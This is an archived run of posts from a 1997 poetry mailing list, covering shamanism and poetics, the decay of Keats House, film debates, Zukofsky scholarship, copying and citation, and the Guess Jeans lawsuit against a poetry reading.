There is a rapidly growing amount of worthwhile literature concerning that spirit worker amoung spirit worker--the shaman (or to use Eliade's term "the technician of ecstasy")--and performance/poetics. A good place to start might be Andreas Lommel's Shamanism: The Beginnings of Art (1967) and J. Rothenberg's Technicians of the Sacred (esp. his Pre-Faces, both 1967 & 1984 eds.). As P. Joris has already pointed out, the Mazatec shaman Maria Sabina is certainly an interesting case study. Robert Gordon Wasson's Maria Sabina and her Mushroom Velada and the Folkways Records recording of one of her 1956

curing ceremonies (Mushroom Ceremony of the Mazatec Indians of Mexico) are both exceptional documents.

Also worthwhile: Joan Halifax has produced an interesting compilation of shamanic narratives called Shamanic Voices and Mark Levy has produced an excellent study of shamanic influences in modern art (Technicians of Ecstasy, 1993) that includes an engaging take on contemporary performance artists such as Karen Finley and Rachel Rosenthal. (I would also humbly suggest a much neglected source, my M.A. thesis--The Shaman's Voice: Anne Waldman and Marina Sabina(University of Texas at Dallas 1992)--which deals with Waldman's conscious use of shamanic themes and techniques, including substantial borrowing from Sabina.)

I could go on...I'm very much intrigued with the idea that the poetic act often, if not always, consists of a type of opening up to an exotic Other (whatever that may consist of--spirits, mythology, chance associations, natural phenomena,etc.) and that a poetic tradition, whither it be Bantu, Mazatec or that massively unstable ritual we share called contemporary American poetics, gives the poet the tools to bring it back alive.

↑ Index

120. David Bromige
Quiet as a mouse
Tue 4 Feb 1997

---

the list at midnite

↑ Index

121. Pierre Joris
Keats's House is Falling Down...
Tue 4 Feb 1997

---

thought this news from the Manchester Guardian, in via John Whiting in London, wld be interes -- Pierre

Sign of the Times (one of a series). One doesn't have to be an advocate of the Great Books approach to literature to be saddened by this. I know the building well; it's within walking distance of where we live. You need only imagine the likelihood of such a fate befalling the house of, say, Morike, to realize what we Anglo-Saxons are allowing to happen to our literary heritage. Ezra Pound's birthplace in Hayley, Idaho, is also falling to bits. At least it has a peeling wooden plaque on the wall, but the town's little publicity hand-out doesn't even mention him.

It will ultimately depend on the enthusiasm of one of those World Cultures which we now so warmly embrace. Perhaps the Japanese will endow Keats' house before it becomes a pile of rubble.

John Whiting

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#####

The [London] Guardian February 4 1997

ODE TO RACK AND RUIN

Sebastian Faulks

KEAT'S HOUSE is falling down. It is the most perfect memorial to any English writer - exactly preserved, full of important papers, open to the public, delightful to visit, charged with atmosphere - and it is coming apart. The beautiful Regency cottage is in Hampstead, north London, and was built by Keats's friends Charles Brown and Charles Dilke in 1815-16. Part of the problem is that the house is built on clay and seldom stays still; the curator, Christina Gee, says that an entire wing has parted from the main house and many of the supporting walls are easing away from the chimney flues. Plaster has fallen from the ceilings and the chimneys are wrapped in Polythene; the collection of manuscripts and books is threatened by water and the walls of Keats's bedroom are stained by damp.

Andrew Motion, the writer who has just finished a biography of Keats, used to watch water run down inside the walls while he was researching in the library. As a matter of fact the house was always prone to leak. Brown and Dilke did not spend much on the construction of the building and Keats's biographer W J Bate records that even in Keats's day the basement kitchen and dining room were damp for much of the year. Although houses in the street are now very expensive, 1815 Hampstead was in the countryside and the house, though pretty, was small. For full board Keats paid L5 a month.

He moved in with Brown in the winter of 1818. After years of intense apprenticeship, of many trials and many errors, Keats was at last on the verge of something magnificent. Bate's restrained biography puts it like this: "The year ... from about mid-September 1818 ... may be soberly described as the most productive in the life of any poet of the past three centuries."

I used to visit this wonderful museum frequently in the seventies, partly because I loved Keats's poetry but also because I was fascinated by Charles Brown. What must it have been like to live with a genius during his most

productive period - a period, as Bate reminds us, almost unmatched in literary history?

Brown was in his early thirties, a former merchant with an inherited income of about L300 a year, which was enough to lead a life of literary leisure. He was of a type not much seen today: a businessman whose passion was for admiring and encouraging the creative gifts of others. What everyone said about Brown was that he was practical and "down to earth". Mind you, so, in many ways, was Keats. Small, voluble, pugnacious, he had impressed his teachers with a belief that he would achieve something in the world, but probably "in some military capacity".

Did he talk to Brown at dinner about his poetry? Perhaps he talked about Fanny Brawne, whose mother had taken Brown's half of the house the previous summer. She was a sharp-featured girl of 18 whom Keats initially thought "ignorant", minx-like and lacking modesty, but in the summer of 1819 she began to receive his sumptuous love letters. And what can she have made of them?

After one of his characteristic periods of recapitulation in early 1819, Keats cleared his mind. The planets moved into a favourable conjunction and he began to write again: first the Ode To Psyche; then one May morning he went and sat beneath the plum tree at the front of the house and wrote the entire 80-line Ode To A Nightingale.

When Keats came in at lunch time Brown noticed that he had some pieces of paper in his hand. They had a maid at that time who was a keen tidier and throweraway, and Brown saw that Keats stuffed the pieces of paper down behind some books: he had thought them worth saving. When Keats went up to his room, did Brown go to the bookshelf, pull out the scraps of paper and read them?

A few days later Keats wrote Ode On A Grecian Urn. He followed this with the Ode On Melancholy. Although the Ode To Autumn would not come until later in the year, he had, as Bate puts it, "within about three weeks written four of the greatest lyric poems in English".

And now the house is falling down. The curator of the museum says that 60 per cent of her visitors are from abroad; British schoolchildren rarely visit these days because Keats is no longer on their syllabus. They do not have to study pre20th century writers at all, and if they do, then, according to Christine Cayley of the Cambridge Examination Board, "Many British children choose an author such as Jane Austen, with popular video versions available." As Andrew Motion puts it: "If children are not studying these poems then something has gone drastically wrong."

Keats's reputation has suffered a kind of literary subsidence, partly caused by the fact that today's children are protected from exposure to anything old or, God forbid, "difficult". Motion hopes vigorously to reinvent Keats for today's reader and thinks it more likely that this can be done through biography than by merely hoping that the texts will be read again. Even a decade ago the idea that such drastic critical repair work might soon be necessary would have seemed to belong to some illiterate nightmare.

The house meanwhile has just become a charitable trust and has passed from the care of Camden council's leisure services to that of the City of London. Christina Gee is hopeful that the corporation will do all that is needed - though the relevant department, alas, has just been asked to make cuts of L3.8 million.

Within a few months of his astonishing summer Keats was dead of TB in Rome at the age of 26. This self-taught son of a stable keeper had driven himself to compose four of the greatest lyric poems in English - but he had no video tie-ins.

The important thing is that the City of London does its duty, but donations are welcome at Keats House, Keats Grove, London, NW3 2RR (telephone: 0[redacted]).

- ENDS -

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pierre joris 6 madison place albany ny 12202
tel/fax [redacted] email:[redacted]
http://writing.upenn.edu/epc/authors/joris/
http://www.albany.edu/~tm0900/nomad.html

Everything that allows men to become rooted, through
values or sentiments, in _one_ time, in _one_ history, in
one language, is the principle of alienation which
constitutes man as privileged in so far as he is what he is,
[...] imprisoning him in contentment with his own reality
and encouraging him to offer it as an example or impose
it as a conquering assertation. -- Maurice Blanchot
==========

↑ Index

122. Chris Stroffolino
selfless shame promotion
Tue 4 Feb 1997

Dear Aldon: Thank you for sending me THREE copies of LLS, your beautiful magazine available in fine bookstores everywhere... aside from the mention of your book and the very funny satirical (collage) piece by Steve Tills and the visuals by Spencer Slby and Jacques Debrot, there was also Mary "interrupted puppet" Winters who has a great piece called "What I like Best About A Relationship is its Potential FOr Narrative" and the lost glacier. Loss Glazier has a line about the "TExt's ability to DOPE the given situation" and there are some bittersweet 'nostalgic' type poems too-- Richard Flynn "Feeling and form/(a yesterday I/ find almost impossible"!!!!! and qeoffrey jacques' "California"-- "nothing's sweeter or lovelier/ than the acquantaince I'm pleased to make/alongside this tinkling/tinker toy/if only i knew what hearts meant as we sit staring over coffee/talking about sublime occupations/.---etc. or as Michael Bassinski says (on a similar topic): "the mouth of the heart is/not near the heart/ who is"------

The only thing I hate about the issue are those terrible poems "Society's Child" and "Things People Say While Dancing"--- I can't believe you'd publish such dribble, but I'll forgive you. Chris Stroffolino

↑ Index

123. Michael Boughn
Walkin out
Tue 4 Feb 1997

> *I could not agree more.*
> *It was the first film I'd walked out of since "Leaving Las Vegas", which was the first film I'd walked out of since "seven."*
>
> *Agreed. Woman's p.o.v. my kiester.. Though the last before that I walked out on was a pseudo-hip Demme film. Name escapes me for good reason. Came close to walking out on The English Patient but my s.o. wanted to see it out.*
>
> *Wendy*

Wow, a whole lotta walkin out goin on. I don't think I've ever walked out on a movie. I guess I'm an unreconstructed voyeur. I can't stop looking. I loved the English Patient. Did anybody notice how Olson's Special View of History got worked into the Herodotus business? That's Ondaatje for you. Bob Creeley once showed me a letter from Michael Ondaatje in which he talked about rewriting In the Skin of a Lion 4 or 5 times in order to work into it certain important points from the Olson/Creeley correspondence.

The Globe and Mail, Canada's right wing business rag, has recently tried to stir up an attack on the English Patient by comparing it unfavourably to--get this--Casablanca. They ran an essay by some philosophy professor from Calgary who claimed that Casablanca was a "moral" movie and TEP was an "immoral" movie based on their respective orientations toward "self-sacrifice". When a number of very articulate letters came in calling into question the rather simple minded sense of "morality" being deployed, the Globe ran a 20 column inch editorial trying to connect the English Patient to the Kim Philby spy scandal, and claiming that it seriously undermined patriotic Candians' will to go to war for their country. Should the need arise.

O those neo-cons. Ya gotta love em.

Mike

[redacted]

↑ Index

124. Michael Boughn
epic/definitions
Tue 4 Feb 1997

I tried replying to Maria's post, but it seems to have disappeared in the void. (Useful if you're a Buddhist, but not so good for messages . . .

Anyway, Maria, I was confused by your epic/pubick connection, couldn't quite make your point out (perhaps there was none?), but did think it could work as a description of HD's wonderful poem, Helen in Egypt, a classic post-Pound take on the epic.

Mike

[redacted]

↑ Index

125. Michael Boughn
Bandit Queen
Tue 4 Feb 1997

Although I didn't walk out on the Bandit Queen, I did find it to be a classic example of limits of propaganda. The director, who was at the screening where I saw it at the Toronto Film Festival, was so busy trying to get his audience enraged at the abuses of the Indian ruling classes, that he ended up pounding us over the head with images in which "good" and "bad" were so sharply delineated I felt like I was trapped in an old Bob Steele western where you always can tell who's who by whether they wear white or black. Or maybe some Manichean comic book. The so-called gratuitous sex was just part of that

manipulative mechanism, so evil that when Phoolan Devi goes back and guns down all those guys who raped her, you're supposed to sit in the dark muttering "right on", like when Sally Fields gets Keifer Sutherland at the end of that terrible movie that came out last year (which I didn't walk out on, either).

Mike
[redacted]

↑ Index

126. **dbkk**
RLIN search
Tue 4 Feb 1997

Can anyone help me? I have this print out from RLIN that tells me where all the Spicer manuscripts are lodged throughout the country in what different university libraries, etc.... however, they use a code I find hard to crack. Can someone tell me what and where "RRAL" ("Resources for Research in American Culture") is?

Thanks---

Kevin Killian

↑ Index

127. **Joe Safdie**
Re: Blackwaite/Brathburn
Tue 4 Feb 1997

Aldon, I'm rather fond of Chet Baker's version of "There Will Never Be Another You," sung in that achingly pure, hurting, tender, fundamentally YOUNG voice, or at least that voice just at the moment of discovery and change. His "My Funny Valentine" the same . . . And Sonny Rollins' album "Live at the Five Spot" has a small part of Blackburn's poem on the liner notes, if I remember rightly.

What with sampling and all, maybe we should talk about favorite versions of works. I was a little surprised, to use a mundane example, that none of my students had ever heard the Stevie Wonder original of the Coolio cover. It seems to me that the concept of "plagiarism" is undergoing a sea change these days, what with borrowings left and right; I remember a quote -- was it Eliot? -- who said "mediocre poets imitate; the best steal outright."

Joe Safdie

↑ Index

128. Matthias Regan
Re: Phoolan Devi & all the rest
Tue 4 Feb 1997

At 06:19 PM 2/3/97 -0500, Wendy Battin wrote:

> *Agreed. Woman's p.o.v. my kiester.. Though the last before that I walked out on was a pseudo-hip Demme film. Name escapes me for good reason. Came close to walking out on The English Patient but my s.o. wanted to see it out.*

Oh yes. You will find a hill the shape of a woman. Her back. Reclining. Nude as the sand. Occasionaly she will rise from bathtubs, etc. With greater frequency than ever before I have found myself absolutely disgusted while watching movies I thought would be stupid but entertaining. The E. P. for all its immaturity (what was a line? "the map of the body, the map without boarders?) was at least nothing like the new line of, as you say, pseudo-hip films a la Demme, Tarintino and whoever made that "Seven." But I suppose this is a useless complaint...

Matthias

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129. Matthias Regan
Re: Phoolan Devi & form
Tue 4 Feb 1997

At 05:17 PM 2/3/97 -0700, you wrote:
>beth,
>what would an 'indian film' be?
>isn't all film 'voyeuristic'? all'seeing'?
>interestingly, 'voyeurism' implies 'seeing' that's directed _in_ from
>the _out_ side, which warps (perverse: 'to turn about').
>best, dan featherston

Form, IMO, especially generic form, may assist content (subject matter) but it should not be used to excuse it, no matter how warping it is. Nor do I recall the above-discussed film using a particularly self-referential or dialectical approach.

--(not beth)

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130. **Matthias Regan**
Re: Getting out the word out
Tue 4 Feb 1997

At 05:51 PM 2/3/97 MDT, you wrote:
 etc. etc.
>let me just add to Mark's post that an item which is not checked out
>of the library is not necessarily going unused. I spend a good deal
>of my time (probably too much) reading, strange as it may seem,
>right here on the premises--& that includes poetry. in fact, in
>light of this discussion, I'm thinking maybe I should check the
>buggery things out after all, just to boost their circ statistics.
>hell, maybe I'll check them all out, over & over--I could develop a
>rotating, year-long schedule, maybe even organize this as a group
>activity. see, there is something to be learned from the folks at Dianetics.

I have to confess, c., that I've been doing that for some time now: checking out books and not reading them. I check out seven, read one, return five, get heavilyfined on two, check out five, read two, return seven, begin the cycle again. I consider it doing my part to assist in the up-keep of such institutions: my method usually generates an average of $20 in fines per book read. About the cost of the book did I buy it in a store.

All this, too, might be learned from Dianetics.

Who said the below?
>
>"Or, worse, they will change the point of view
>(top becomes bottom, male becomes female, etc etc)
>and think, like the [Realists] they are, that they
>have changed something."

(Who said the above?)

Why have we heard nothing about your new limited edition on here? Its recent review?

m

↑ Index

131. Henry Gould
3 propositions for today
Tue 4 Feb 1997

1. All groups, associations, and credentialled professionals in poetry are the reader's adversaries and enemies, no matter what artistic tendencies they may represent.

2. Poets themselves do not realize what poetry, and the reader, together demand of them. Poetry & the reader ask for a sacrifice of flesh and blood. The rest is scholarship and "food for thought". Poetry lives on the other side of death.

3. Every poet who sacrifices heart and soul for the sake of poetry will be held up for ridicule by all groups, associations, and credentialled literary professionals, as well as by the reader and by poetry itself. Sacrifice is an illusion, mercy is sacrifice, poetry is against idolatry.

Addendum: none of the above should be taken literally or without cream. 2nd addendum: these maxims refer to poets, not would-be writers. 3rd addendum: there is no poetry on the internet. 4th addendum: there is no poetry on the coffeehouse circuit. 5th addendum: there is no poetry on the academic reading circuit. 6th addendum: there is no poetry [fill in the blank]. 7th addendum: Henry is pompous, crabby and [fill in the blank] today. - Henry Gould

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132. shoemakers
Re: Upper Limit Music
Tue 4 Feb 1997

Thanks for the announcement Mark. But just for the record, the title of my essay shld be "Between Contact and Exile: Louis Zukofsky and the Poetry of Survival" (tho the other way maketh a kind of sense too...) steve

On Mon, 3 Feb 1997, Mark W Scroggins wrote:

> *Listfolks:*
>
> *I'm pleased to announce the very imminent (within the next week) publication of my edited collection of essays on Louis Zukofsky, _Upper Limit Music: The Writing of Louis Zukofsky_, by the University of Alabama Press. The contents are as follows:*
>
> *Introduction*
>
> *I. Cultural Poetics, Political Culture: Zukofsky in the 1930s*

1. Between Contact and Survival: Louis Zukofsky's Poetry of Exile, Steve Shoemaker

2. The Revolutionary Word: Louis Zukofsky, _New Masses_, and Political Radicalism in the 1930s, Mark Scroggins

3. Jewish-American Modernism and the Problem of Identity: With Special Reference to the Work of Louis Zukofsky, Norman Finkelstein

4. Zukofsky, Marxism, and American Handicraft, Barry Ahearn

5. Poetry and the Age: Pound, Zukofsky, and the Labor Theory of Value, Alec Marsh

6. "A Precision of Appeal": Louis Zukofsky and the _Index of American Design_, Ira B. Nadel

II. Toward the Postmodern: Zukofsky's Life of Writing

7. A "no man's land!": Postmodern Citationality in Zukofsky's "Poem beginning 'the'", Ming-Qian Ma

8. Writing and Authority in Zukofsky's _Thanks to the Dictionary_, Peter Quartermain

9. The Comedian as the Letter Z: Reading Zukofsky Reading Stevens Reading Zukofsky, P. Michael Campbell

10. "Words Ranging Forms": Patterns of Exchange in Zukofsky's Early Lyrics, Susan Vanderborg

11. From Modernism to Postmodernism: Zukofsky's "A"-12, Burton Hatlen

12. A More Capacious Shoulder: "A"-24, Nonsense, and the Burden of Meaning, Marnie Parsons

13. A Fractal Music: Some Notes on Zukofsky's Flowers, Kent Johnson

(And a cover drawing by Guy Davenport, to boot.)

You'll recognize many listmates and other acquaintances among the contributors. I'm extremely pleased at how the whole project has turned out; it should be of great interest to anyone with an investment in Zukofsky's work.

For more information, write the University of Alabama Press at Box 870380, Tuscaloosa AL 35487-0380, or drop me a line directly.

> *Best,*
> *Mark Scroggins*

Steve Shoemaker

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133. **Aldon L. Nielsen**
Re: citation, use, sampling etc
Tue 4 Feb 1997

I didn't get to attend the big plagiarism conference of some years back, and couldn't talk anybody at San Jose State into copying the idea --

Some years ago, though, I gave a paper at ALA titled "Citation, Use and Sampling" which used examples from Perelman, Harryman and others to comment on debates between Searle and Derrida about the topics listed in my title -- Sent it to _Sagetrieb_, but their reader, who had never read the Derrida essay cited & used, wanted revisions that I did not want -- so it's been here in my desk ever since -- I've thought I should make it available as some kind of counter to Lehman's mean-spirited and inaccurate account of the Harryman/Derrida lines in _Signs of the Times_ -- If I can relocate the disk that essay is on, maybe I'll ask Loss if I can add it to my pages at EPC --

Odd footnote -- Copy shops around the country have grown more paranoid since the last court decision that should have made things easier (perhaps an inverse response to the rampant illegalities of copyright infringement the same shops once practiced), and now I am frequently told that I cannot copy myself -- Three shops in the past year have refused to make copies for my students of printed materials that I authored and whose copyright I own --

Though I have on occasion received small checks because professors at USC, where they will not interview me, have copied my works for their classes (I KNOW IT'S NOT THE SAME PEOPLE COPYING ME AND NOT INTERVIEWING ME -- But how am I going to work up a good case of ressentiment if I let details like that get in my way!)

and what about titles -- titles apparently cannot be copyrighted on their own -- At least twelve people have appropriated "Reading Race" as a title for a publication (let's not even start to count conference panels & papers) -- So far Dana Nelson, bless her heart, is the only one who acknowledged the origins of the title in her book -- Shoulda trademarked the thing, like the coach who trademarked "threepeat" a few years ago --

If I ever have a collected poems I'm going to title it _Gone with the Wind_ and hope for big sales --

This post, by the way, was adapted from a text by David Bromige, who wrote _My Poetry_ -- I even copied his birthday -- I even own a pair of red suspenders -- and Maria once laughed at me in San Diego -- I've grown a beard and started wearing glasses, but I can't get that accent right --

as we said in grade school, accept no substitutes --

yours,
aldon -- or maybe somebody standing in his place --

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134. KENT JOHNSON
Poets' homes
Tue 4 Feb 1997

I took my son up to Fort Atkinson, Wisconsin for a swim meet a few weeks back. Had dinner at Club 26, a fine supper club there. On the wall, in frame, amidst a smattering of old jazz photos from the 50's and 60's, is Lorine Niedecker's poem, "Club 26," celebrating the place she dined at with her husband every so often.

I understand that the Niedecker house is still standing by the lake, and I was wondering if anyone knew of any efforts to preserve it? Of course, if Pound's house is up for grabs and Keats's house is falling down, maybe it's a lost cause. But maybe not: If Niedecker's work adorns the wall of a smoky supper club bar, maybe there's some community pride that could be tapped into? I'd be interested in trying to help if the effort seems feasible... about an hour and a half away. Anyone know anything?

Kent

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135. robert drake
CALL FOR PAPERS : IWCS'97
Wed 5 Feb 1997

> *Date: Wed, 5 Feb 1997 14:52:20 GMT*
> *From: [redacted] (Irene Ludman)*
> *Subject: CALL FOR PAPERS : IWCS'97*
>
> *CALL FOR PAPERS*
>
> *1st INTERNATIONAL WORKSHOP ON*
> *COMPUTATIONAL SEMIOTICS*

26th - 27th May, 1997
PÙle Universitaire LÈonard de Vinci
PARIS - LA DEFENSE - FRANCE

TOPICS

SEMIOTICS OF TEXT : Suzanne Bertrand-Gastaldy, University of Montreal

Computers are increasingly used to assist text analysis for cognitive, literary, anthropological, sociological, documentary, etc. research. The workshop will focus on actual realisations, on the possibilities and limits of methodologies and existing tools to take into account the complex and multidimensional nature of texts, allowing multiple points of views for a variety of user needs. Issues such as desirable features of text analysis software, robustness and conviviality of implantations, interaction between corpora and users, constraints that actual tools put upon kinds of analyses and coding choices, the ability to elaborate models of electronic analytical tools suited to different semiotic theories, semiotical foundations of markup languages are examples of possible debates.

SEMIOMETHODOLOGY : Claude Vogel, LÈonard de Vinci University

Several genres are currently under investigation for semiotic studies : electronic mail, news, corporate information, Web publishing. The flood of full text is overflowing semantic analysis, and this major paradigm break leads us to reconsider our approach of text processing. The size of these new corpora, the lack of consistency of information, the physical scattering of the basic units of texts, make the classical documentary solutions very uncomfortable. Instead, the semiotic based analysis seems to be a highly compelling perspective. It is focused on chronology; it provides a way to build transitive narratives throughout large amounts of data, and it does not require the understanding of the details of each local grammatical sentence in order for a global plot to be elaborated. This promising trend may give a second wind to ethnomethodology. For this reason, it is more appropriate to use the term "semiomethodology" when evoking this attempt to rationalize the computational approach of the symbolic dynamics which underlie collaborative production.

ORGANIZATIONAL SEMIOTICS : Kathleen Carley, Carnegie Mellon University

Organizational semiotics is the semiotics of organizations and organizational dimensions of textual semiotics. The objective of this workshop is to define the boundaries of this new specialty. Specifically, we will address

the issue of : "How can semiotic analysis of interpersonal and corporate exchanges be used to reveal, evaluate, and contrast the underlying organizational logics and changes in these logics over time ?" Recent advances in textual analysis are facilitating this endeavor and creating new opportunities for understanding organizational behavior. Critical issues in the area of organizational semiotics include : 1) how to quickly and reliably analyze large quantities of texts, 2) how to reduce textual data to an empirical form that can be combined with other types of data and analyzed statistically, 3) how to identify corporate texts (those representing the "view" of the organization as an entity) and address issues of authorship, and 4) how to identify institutional constraints on the production and maintenance of corporate texts. New and innovative computational methods for empirically analyzing texts are being developed to address these and related concerns. These techniques have the potential to move textual analysis beyond counting words or locating a few themes or concepts. This section will focus on the issues involved in performing organizational semiotics with particular attention to the new computationally based techniques for facilitating organizational analysis that increase the ease, speed or reliability of coding texts and generate information that can be analyzed statistically.

BIOSEMIOTICS : Jean-Claude Heudin, LÈonard de Vinci University

Recently, algorithms and architectures based on models derived from biological systems have been receiving an increasing amount of interest. This section will explore how such new approaches and techniques could be used for managing large amount of information exchanges on Internet or Intranet. Topics of particular interest include, but are not limited to, applications of agent-based systems, autonomous and evolving agents, genetic algorithms and programming, neural networks, cellular automata etc. to text stream analysis and in the more general framework of semiotics analysis.

SUBMISSION OF PAPERS

Send four copies of an abstract (approximately 500 words) in english or email it to :

> *IrËne Ludman - IWCS'97*
> *PÙle Universitaire LÈonard de Vinci*
> *92916 PARIS-LA DEFENSE-CEDEX, FRANCE*
> *Phone: (33) 01 41 16 73 05*
> *Fax : (33) 01 41 16 73 35*
> *Email :* [redacted]
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> *DEADLINES*
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> *Submission of abstracts*
> *by 1st April 1997*
>
> *Acceptance notification to authors*
> *by 15th April 1997*
>
> *Submission of full papers*
> *by 12th May 1997*
>
> *ORGANIZING COMMITTEE*
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> *Claude Vogel (chairman)*
> *Suzanne Bertrand-Gastaldy*
> *Kathleen Carley*
> *Jean-Claude Heudin*
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>
> *For more information please visit the following Web page :*
> *http://www.devinci.fr/home/actua.htm*

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136. Maria Damon (Maria Damon)

Re: Diacritics special issue

Wed 5 Feb 1997

how interesting; the special issue of diacritics edited by jonathan monroe features two (count 'em) essays by jonathan monroe.

just jealous, don't mind me,
maria d

> *I'm pleased to announce the publication this week of "Poetry, Community, Movement," a special double issue I've guest edited for Diacritics (fall-winter 1996, vol. 26, numbers 3-4). The issue is the first in the journal's twenty-five year history devoted exclusively to contemporary poetry.*
>
> *Contributions to the opening "Text/Context" section include: Jonathan Monroe -- "Poetry, the University, and the Culture of Distraction"; Rachel Blau DuPlessis -- "Manifests"; Rosmarie Waldrop -- "Form and Discontent / Four Prose Poems"; David Kellogg -- "Perloff's Wittgenstein: W(h)ither Poetic Theory?";*
> *Aldon Lynn Nielsen -- "Black Deconstruction: Russell Atkins and the Reconstruction of African-American Criticism"; and Marjorie Perloff -- "Whose New American Poetry? Anthologizing in the Nineties."*
> *The second half of the issue includes in its "Symposium" section: Jonathan Monroe -- "Syntextural Investigations"; Ann Lauterbach -- "Misquotations from Reality"; Bob Perelman -- "Poetry in Theory"; and Charles Bernstein -- "Community and the Individual Talent." The issue concludes with "Poetry, Community, Movement: A Conversation" (Charles Bernstein, Ann Lauterbach, Jonathan Monroe, and Bob Perelman).*
>
> *To order copies of the double issue ($12 each), write via e-mail to [redacted]; via snail mail to: Attn. Journals, The Johns Hopkins University Press, 2715 N. Charles St., Baltimore, MD 21218-4319; or call [redacted] or [redacted].*

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137. Maria Damon (Maria Damon)
Re: Bandit Queen
Wed 5 Feb 1997

---

zentropa was the most disgusting, anti-semitic, pro-nazi movie i've ever seen in my life, and i would never see another movie by the person who made it. so, i obviously will not comment on "waves's" content.--md

I just wanted to make a humble suggestion that people actually --experience--
>for themselves films/books/paintings before destroying them based on
>potentially rigid feminist/or/otherwise interpretations. Breaking the Waves
>is one of the most aesthetically interesting and emotionally powerful films I
>have ever seen. It does disturb your gut, and I spent the last hour of it
>clenched in a tight spasm of tears, but I don't find that kind of visceral
>emotional reaction offensive...I could see, on the other hand, how one might
>be (if he/she didn't appreciate kitsch, that is) the cartoonish and tacky
>qualities of something like "Baywatch." Yes, Breaking the Waves is about

>oppression, but I don't think Bess's husband can be so swiftly and cleanly
>pinpointed as perpetrator. The strict, island community, which is the
>centripetal force of the film, and the notions of goodness versus evil/sin
>therein, are more accurately the culprits. I understood it less as a plot of
>male/female sexual dynamics than as one of, yes, "goodness" in the face of
>anti-Christian hypocrisy. The husband's influence is also more ambivalent
>than what you think; it is not entirely clear that his actions are not
>sincerely motivated by a wish to liberate her from him, to free her from her
>compulsive and (also unclear) psychologically-unstable love..."love so much
>it hurts." It takes a party pooper to spoil the end of the film, but since
>the final scene is out of the bag, I think it worth noting that another way
>to read the "heavenly ascent" is as an image of redemption and love's
>justice...that the purity and goodness of unconditional, generous, unguarded
>love that Bess strives for throughout the movie in her own dialogue with God
>finally comes to her, and her wish is granted. I understand disgust at the
>exploitation of violence, especially violence against women, but I would hope
>such valid concerns would not keep us from appreciating the full
>dimensionality of strange and human stories.

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138. **robert drake**

Re: guess lawsuit

Wed 5 Feb 1997

---

this appeared in th latest issue of _Next_ (box 13019, long beach ca 90803)--
thot it might be of interest to some...

> *From:* [redacted]
> *Date: Wed, 5 Feb 1997 02:26:13 -0500 (EST)*
> *Subject: Re: guess lawsuit*
>
> *GUESS LAWSUIT AGAINST POETRY READING PROCEEDS*
> *By G. Murray Thomas*
> *Guess Jeans is proceeding with its libel and slander lawsuit against several local writers. The lawsuit was a reaction against a reading given at Midnight Special Bookstore in September. On December 23, the judge postponed a decision on a defense motion to dismiss the case. The next court date is January 30.*
> *As the lawsuit moves forward, Common Threads, one of the organizations being sued, has scheduled another "Justice for Garment Workers" Literary Reading at Midnight Special. The event will take place on Sunday, February 2, at 2 pm. Among those reading will be Luis Campos, Alexis Krasilovsky, Julia Stein and Merrihelen Ponce. Edna Bonacich will give an update on the fight between Guess and UNITE. Midnight Special is located at 1318 Third St. Promenade in Santa Monica.*

> *The lawsuit was filed against UNITE, the Union of Needle trades Industrial and Textile Employees and Common Threads, a woman's group working to improve working conditions for garment workers. Also named in the lawsuit are David Young, national director for UNITE, fifty unidentified individuals ("Does 1 through 50, inclusive") and fifty unidentified associations.*
> *Some of the charges in the lawsuit are based on a "Justice for Garment Workers" reading held at Midnight Special on Sept. 8, 1996. The reading was sponsored by the L.A. local of the National Writers Union, and Common Threads. At the reading, Enrique Flores, a former employee of Kelly Contractors, one of the contractors which sewed clothing for Guess, described his working conditions. Edna Bonacich, a professor of sociology at UC Riverside, described the Common Threads campaign against unfair working conditions at Guess. Other writers, including Julia Stein and Carol Schwalberg, read writings about garment workers, none of which mentioned Guess specifically. Only David Young and Edna Bonacich have been served with papers.*
> *The lawsuit is based on the claim that "false and defamatory" statements were made about Guess during the reading and in publicity for it. The specific statements objected to were that Guess uses sweatshops and home labor in southern California to produce its clothing. Guess denies these allegations.*
> *The defendants have characterized the lawsuit as a S.L.A.P.P. (Strategic lawsuit against public participation) suit, a form of legal harassment used to silence critics. California has an anti-S.L.A.P.P. statute. UNITE and Common Threads have asked that the lawsuit be thrown out under the anit-S.L.A.P.P. statute. No ruling has yet been issued on this.*
> *Recent developments involving Guess throw light, direct and indirect, on the lawsuit. One firm tenet of Guess' defense is that appeared on the U.S. Dept. of Labor's "Trendsetter" list of clothing manufacturers actively improving the working conditions of their employees. However, on Nov. 27, 1996, the DOL removed Guess from the Trendsetters list, following a DOL investigation which found Guess had used contractors which violated minimum wage and overtime regulations.*
> *Recently, Guess announced, perhaps coincidentally, that it is moving more than half of its manufacturing in southern California to Mexico.*
> *If you are concerned by this lawsuit, would like more information, or would like to volunteer to help, you can call Suzi Hoffman at UNITE, [redacted].*
> *Or attend the Midnight Special Reading on February 2.*

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139. **David Bromige**

knowing when to stop

Wed 5 Feb 1997

Hen ry Gould had me by more than the lapels with his propositions today. True, true, true, i felt, but i cant agree to the addenda. Just take New Hampshire

alone, an academic setting if ever there was one: brilliant fucken poetry, HG, from Allan Fisher (an academic as far as employment goes) to Chris Stroffolino (has darkened academic doorways) to Rae Armantrout (educates La Jolla) to Bob Perelman (breaks out of the Penn) to Peter Middleton (pedagogues in Old hants) to Barrett Watten (author of Waning StAtes) to Tony Lopez (teaches college in Devonshire), and a number besides who may or may not or who definitely dont teach, but who were going to the far side of death and bringing back poetry into dread academic context--Randolph Healy, Lisa Robertson, Deanna Ferguson, cris cheek, Miles Champion, Denise Riley, Kathleen Fraser, Tom Raworth, Invidious Distinctions, If Your Name Is Missing I Meant You,et al, et al, believe you me, pal. It was poetry up there with John Keats and some dont even have houses to fall apart, sad as that surely is. But true, true, true, Henry G, until you began to crab out on us. db

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140. David Bromige
keep off the grass
Wed 5 Feb 1997

Aldon, i too have been forbidden to copy myself in those kinda shops. not just when i sit on the glass, either. But thats a great title, _Gone With the Wind_, think i'll write a poem to fit it . . and i've already written one i'm going to call "Reading Race." whats the harryman/derrida reference? Btw,if you dont stop having my birthday, youll be talking to my attorney. . and that goes for Cole Swensen as well. thanks to you guys, messerli only has room for a tiny poem of mine on his calendar of poets' b'days.

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141. David Bromige
reading lists
Wed 5 Feb 1997

george's posting today reveals to all the remarkable b a l a n c e of his mind, as leftbrained as it is rightbrained. i'm afraid my own attempts to emulate him by keeping a list of h i s books fell apart 'round about #50, but i d o know that his most recent jeu d'espirt (sic,and as we canadians say) should be appearing before too much longer, the wonderful roman-a-clef-novel __Piccolo Mondo__, as funny as it is serious, as tall as it is long, as broad as it is deep. You might send advance orders to the address george always appends to his postings, for this very purpose no doubt. db

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142. **Sylvester Pollet**

Re: Keats's House is Falling Down...

